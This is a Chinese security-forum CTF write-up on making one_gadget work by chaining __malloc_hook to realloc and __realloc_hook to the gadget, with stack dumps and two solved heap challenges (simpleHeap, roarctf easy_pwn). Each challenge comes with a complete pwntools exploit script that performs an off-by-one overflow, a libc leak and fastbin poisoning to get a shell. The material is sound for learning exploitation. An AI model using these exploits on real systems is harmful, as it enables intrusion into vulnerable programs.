安全矩阵

 找回密码
 立即注册
搜索
查看: 3294|回复: 0

通过 realloc_hook 调整栈帧使 onegadget 生效

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-12 18:39:55 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-10-12 18:41 编辑

原文链接:通过 realloc_hook 调整栈帧使 onegadget 生效

在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。

由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。



了解 realloc

realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。

  1. __int64 __fastcall realloc(signed __int64 a1, unsigned __int64 a2, __int64 a3)
  2. {
  3. ……
  4. if ( _realloc_hook )
  5. return _realloc_hook(a1, a2, retaddr);
  6.     ……
复制代码
看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr])

  1. .text:00000000000846C0 realloc         proc near               ; DATA XREF: LOAD:0000000000006BA0↑o
  2. .text:00000000000846C0 ; __unwind {
  3. .text:00000000000846C0                 push    r15             ; Alternative name is '__libc_realloc'
  4. .text:00000000000846C2                 push    r14
  5. .text:00000000000846C4                 push    r13
  6. .text:00000000000846C6                 push    r12
  7. .text:00000000000846C8                 mov     r13, rsi
  8. .text:00000000000846CB                 push    rbp
  9. .text:00000000000846CC                 push    rbx
  10. .text:00000000000846CD                 mov     rbx, rdi
  11. .text:00000000000846D0                 sub     rsp, 38h
  12. .text:00000000000846D4                 mov     rax, cs:__realloc_hook_ptr
  13. .text:00000000000846DB                 mov     rax, [rax]
  14. .text:00000000000846DE                 test    rax, rax
  15. .text:00000000000846E1                 jnz     loc_848E8  ; 跳转执行 realloc_hook
  16. .text:00000000000846E7                 test    rsi, rsi
  17. .text:00000000000846EA                 jnz     short loc_846F5
  18. .text:00000000000846EC                 test    rdi, rdi
  19. .text:00000000000846EF                 jnz     loc_84960
复制代码

函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx 。


malloc_hook 与 realloc_hook 配合

将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:

  1. malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget
复制代码

这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。

realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38] ,但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下:


  1. # 6个push
  2. pwndbg> x /20gx $rsp
  3. 0x7fffffffdcb8: 0x00007ffff7a9195f 0x00007fffffffdd20
  4. 0x7fffffffdcc8: 0x00005555555548e0 0x00007fffffffde40
  5. 0x7fffffffdcd8: 0x0000000000000000 0x0000000000000000
  6. 0x7fffffffdce8: 0x00007ffff7a43ea0 0x00007fffffffde40
  7. 0x7fffffffdcf8: 0x0000000000000000 0x00007fffffffdd40
  8. 0x7fffffffdd08: 0x00005555555548e0 0x00007fffffffde40
  9. 0x7fffffffdd18: 0x0000000000000000 0x0000000000000000
  10. 0x7fffffffdd28: 0x0000555555554b71 0x00005555555548e0
  11. 0x7fffffffdd38: 0x0000001000000006 0x00007fffffffdd60
  12. 0x7fffffffdd48: 0x0000555555554f86 0x00007fffffffde40

  13. # 5个push
  14. pwndbg> x /20gx $rsp
  15. 0x7fffffffdcc0: 0x00007ffff7a9195f 0x00005555555548e0
  16. 0x7fffffffdcd0: 0x00007fffffffde40 0x0000000000000000
  17. 0x7fffffffdce0: 0x0000000000000000 0x00007ffff7a43ea0
  18. 0x7fffffffdcf0: 0x00007fffffffde40 0x0000555555554a23
  19. 0x7fffffffdd00: 0x0000000000000000 0x00007fffffffdd40
  20. 0x7fffffffdd10: 0x00005555555548e0 0x00007fffffffde40
  21. 0x7fffffffdd20: 0x0000000000000000 0x0000555555554b71
  22. 0x7fffffffdd30: 0x00005555555548e0 0x0000001000000006
  23. 0x7fffffffdd40: 0x00007fffffffdd60 0x0000555555554f86
  24. 0x7fffffffdd50: 0x00007fffffffde40 0x0000000100000000
复制代码

原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际部分位置的值会变,所以逐个试,速度可能比计算快。


例题[V&N2020 公开赛]simpleHeap基本功能

一个基本的堆管理器,有增删查改功能。各项功能都是基于下标序号定位操作,上限为10个堆,大小为大于 0 、小于等于 0x6f 。没有结构体,基于两个列表存储堆信息。

漏洞

在修改函数里,调用函数 sub_C39 完成对堆信息的修改。传入的参数如下:


  1. sub_C39((__int64)chunk_ptr_list[v1], chunk_size_list[v1])
复制代码

在处理边界问题时,错误使用判断条件,导致溢出 1 字节,正确应该if(i>=size),具体逻辑如下:


  1. __int64 __fastcall sub_C39(__int64 ptr, int size)
  2. {
  3.   __int64 result; // rax
  4.   int i; // [rsp+1Ch] [rbp-4h]

  5.   for ( i = 0; ; ++i )
  6.   {
  7.     result = (unsigned int)i;
  8.     if ( i > size )                             // off by one
  9.       break;
  10.     if ( !read(0, (void *)(i + ptr), 1uLL) )    // 输出错误的异常处理
  11.       exit(0);
  12.     if ( *(_BYTE *)(i + ptr) == '\n' )
  13.     {
  14.       result = i + ptr;
  15.       *(_BYTE *)result = 0;
  16.       return result;
  17.     }
  18.   }
  19.   return result;
  20. }
复制代码

思路

使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。

将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。

实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。


溢出修改 chunk size 造成 chunk extend ,chunk0 用于溢出 chunk1 ,chunk2 用于读取 unsorted bin fd 指针,chunk3 防止 fake chunk 与 topchunk 合并。溢出 size 是经过计算符合 house of spirit 要求:


  1. create(0x18,'s')
  2. create(0x48,'k')
  3. create(0x68,'y')#2
  4. create(0x10,'e')

  5. payload = 'a'*0x18 + '\xc1'
  6. edit(0,payload)

  7. free(1)
  8. create(0x48,'yyds')
  9. show(2)
复制代码
泄露 libc 地址后,将 bin 中剩余内存申请出来,该指针与 chunk2 指向相同地址,任选其一释放,再用另外一个修改 fastbin fd 指针:


  1. create(0x68,'skye')#4
  2. free(4)
  3. payload = p64(malloc_hook-27-8)+'\n'
  4. edit(2,payload)
复制代码

正常来说将 malloc_hook 劫持为 onegadget 即可,但是测试发现这条题目的栈环境不满足全部 onegadget 条件,这就需要调整阵结构,使 onegadget 生效。需要配合使用 realloc_hook 和 malloc_hook。

将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 。然后通过多次尝试确定偏移为 12 。



EXP
  1. from pwn import *
  2. context(log_level='debug',os='linux',arch='amd64')
  3. p = process("./vn_pwn_simpleHeap")
  4. # p = remote("node3.buuoj.cn",29864)
  5. elf = ELF("./vn_pwn_simpleHeap")
  6. libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  7. # libc = ELF("./libc-2.23.so")

  8. def create(size,content):
  9. p.sendlineafter("choice: ",'1')
  10. p.sendlineafter('?',str(size))
  11. p.sendafter(':',content)
  12. def edit(id,content):
  13. p.sendlineafter("choice: ",'2')
  14. p.sendlineafter('?',str(id))
  15. p.sendafter(':',content)
  16. def show(id):
  17. p.sendlineafter("choice: ",'3')
  18. p.sendlineafter('?',str(id))
  19. def free(id):
  20. p.sendlineafter("choice: ",'4')
  21. p.sendlineafter('?',str(id))

  22. create(0x18,'s')
  23. create(0x48,'k')
  24. create(0x68,'y')#2
  25. create(0x10,'e')

  26. payload = 'a'*0x18 + '\xc1'
  27. edit(0,payload)

  28. free(1)
  29. create(0x48,'yyds')
  30. show(2)

  31. leak_addr = u64(p.recv(6).ljust(8,'\x00'))
  32. log.info("leak_addr:"+hex(leak_addr))
  33. libc_base = leak_addr - 0x3c4b78
  34. malloc_hook = libc_base + libc.sym['__malloc_hook']
  35. log.info("malloc_hook:"+hex(malloc_hook))
  36. realloc_hook = libc_base + libc.sym['__realloc_hook']
  37. log.info("realloc_hook:"+hex(realloc_hook))
  38. realloc = libc_base + libc.sym['realloc']
  39. log.info("realloc:"+hex(realloc))

  40. create(0x68,'skye')#4
  41. free(4)
  42. payload = p64(malloc_hook-27-8)+'\n'
  43. edit(2,payload)

  44. create(0x68,'a')
  45. create(0x68,'b')#5

  46. one = [0x45226,0x4527a,0xf0364,0xf1207]
  47. # one = [0x45216,0x4526a,0xf02a4,0xf1147]
  48. onegadget = libc_base + one[1]
  49. log.info("one:"+hex(onegadget))

  50. payload = 'a'*11 + p64(onegadget) + p64(realloc+12) + '\n'
  51. edit(5,payload)


  52. gdb.attach(p)
  53. # create(0x10,'skye,yyds')
  54. p.sendlineafter("choice: ",'1')
  55. p.sendlineafter('?',str(0x10))


  56. p.interactive()
复制代码

roarctf_2019_easy_pwn基本功能

一个堆管理器,有增删查改功能。所有功能都是基于列表的下标定位操作对象。用 3 个列表维护堆:chunk_inuse、chunk_size、chunk_ptr。



漏洞

在 edit 功能里面 sub_E26 函数,这个函数用来处理输入长度的,具体代码如下:


  1. __int64 __fastcall check_size(signed int size, unsigned int input_length)
  2. {
  3.   __int64 result; // rax

  4.   if ( size > (signed int)input_length )
  5.     return input_length;
  6.   if ( input_length - size == 10 )
  7.     LODWORD(result) = size + 1; //off by one
  8.   else
  9.     LODWORD(result) = size;
  10.   return (unsigned int)result;
  11. }
复制代码

当我们要求写入的长度(input_length)大于堆 size 10 个字节时,就可以写入 size + 1 字节,造成 off by one 。

思路

这条题目和 [V&N2020 公开赛]simpleHeap思路一样。

使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。

将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。

实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。

EXP
  1. from pwn import *
  2. context(log_level='debug',os='linux',arch='amd64')
  3. # p = process("./roarctf_2019_easy_pwn")
  4. p = remote("node3.buuoj.cn",29259)
  5. elf = ELF("./roarctf_2019_easy_pwn")
  6. libc = ELF("./libc-2.23.so")
  7. # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


  8. def create(size):
  9.     p.recvuntil("choice: ")
  10.     p.sendline("1")
  11.     p.recvuntil(": ")
  12.     p.sendline(str(size))
  13. def edit(index,size,content):
  14.     p.recvuntil("choice: ")
  15.     p.sendline("2")
  16.     p.recvuntil(": ")
  17.     p.sendline(str(index))
  18.     p.recvuntil(": ")
  19.     p.sendline(str(size))
  20.     p.recvuntil(": ")
  21.     p.send(content)
  22. def free(index):
  23.     p.recvuntil(": ")
  24.     p.sendline("3")
  25.     p.recvuntil(": ")
  26.     p.sendline(str(index))
  27. def show(index):
  28.     p.recvuntil(": ")
  29.     p.sendline("4")
  30.     p.recvuntil(": ")
  31.     p.sendline(str(index))

  32. create(0x18)#overwrite
  33. create(0x68)
  34. create(0x68)#2
  35. create(0x10)#protect

  36. payload = 'a'*0x18 + '\xe1'
  37. edit(0,len(payload)-1+10,payload)

  38. free(1)
  39. create(0x68)
  40. show(2)
  41. p.recvuntil("content: ")
  42. leak_addr = u64(p.recv(6).ljust(8,'\x00'))
  43. log.info("leak_addr:"+hex(leak_addr))
  44. libc_base = leak_addr - 0x3c4b78
  45. malloc_hook = libc_base + libc.sym['__malloc_hook']
  46. log.info("malloc_hook:"+hex(malloc_hook))
  47. realloc = libc_base + libc.sym['realloc']
  48. log.info("realloc:"+hex(realloc))
  49. realloc_hook = libc_base + libc.sym['__realloc_hook']
  50. log.info("realloc_hook:"+hex(realloc_hook))

  51. create(0x68)
  52. free(4)

  53. payload = p64(malloc_hook-27-8)
  54. edit(2,len(payload),payload)

  55. create(0x68)
  56. create(0x68)
  57. # one = [0x45226,0x4527a,0xf0364,0xf1207]
  58. one = [0x45216,0x4526a,0xf02a4,0xf1147]
  59. onegadget = libc_base + one[1]
  60. log.info("onegadget:"+hex(onegadget))
  61. payload = 'a'*11 + p64(onegadget) + p64(realloc)
  62. edit(5,len(payload),payload)

  63. create(0x10)

  64. # gdb.attach(p)
  65. p.interactive()
复制代码











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:22 , Processed in 0.014816 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表